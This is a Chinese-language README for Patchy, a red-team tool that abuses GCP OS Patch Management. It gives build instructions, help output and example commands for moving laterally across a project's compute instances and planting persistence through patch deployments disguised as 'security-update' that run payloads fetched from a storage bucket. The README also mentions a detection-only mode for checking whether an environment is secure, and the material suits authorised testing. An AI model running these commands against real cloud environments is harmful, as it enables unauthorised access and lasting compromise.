通过滥用 GCP 操作系统补丁管理实现自动化横向移动与持久化,基于我的博客文章。
Patchy 由两种主要模式组成:横向移动和持久化。持久化利用有效的服务账号凭据创建补丁任务或部署。横向移动试图获取项目内所有计算实例的访问权限。要使用该工具,必须处于 GCP 环境中并且元数据 API 可用。横向移动有一种模式,可以在不执行任何激进操作的情况下检测利用是否可行(适用于检查您的环境是否安全)。
如需功能建议,请提交 issue。如果遇到任何问题,请创建包含修复内容的 PR。
mkdir build;GOOS=windows GOARCH=amd64 go build -o build/patchy.exe ./cmd/patchy/*.go
mkdir build;GOOS=linux GOARCH=amd64 go build -o build/patchy ./cmd/patchy/*.go
请注意,这需要 >= go 1.19
$ ./patchy -h
d8888b. .d8b. d888888b .o88b. db db db db
88 `8D d8' `8b `~~88~~' d8P Y8 88 88 `8b d8'
88oodD' 88ooo88 88 8P 88ooo88 `8bd8'
88~~~ 88~~~88 88 8b 88~~~88 88
88 88 88 88 Y8b d8 88 88 88
88 YP YP YP `Y88P' YP YP YP
https://github.com/rek7/patchy
Patchy 是一款专为红队演练设计的 GCP 利用工具。
基于 https://blog.raphael.karger.is/articles/2022-08/GCP-OS-Patching
用法:
patchy [flags]
patchy [command]
可用命令:
completion 为指定 shell 生成自动补全脚本
help 关于任何命令的帮助信息
lateral 在 GCP 环境中自动执行横向移动
persist 在服务账号拥有的计算实例上启用持久化
标志:
-b, --bucket string 托管 payload 的存储桶名称
-h, --help 显示 patchy 帮助信息
-l, --lpayload string Linux shell payload 名称(默认 "payload.bash")
-p, --persist 启用持久化(补丁部署)(默认 false)
-n, --pname string 补丁部署/任务名称(默认 "security-update")
-w, --wpayload string Windows PowerShell payload 名称(默认 "payload.ps1")
使用 "patchy [command] --help" 获取有关某个命令的更多信息。
在本地 GCP 环境中利用服务账号,myBucket 是托管 payload 的公开存储桶名称:
$ ./patchy -b myBucket lat -e
使用 JSON 格式的服务账号安装持久化:
$ ./patchy -b myBucket persist -c serviceAccount.json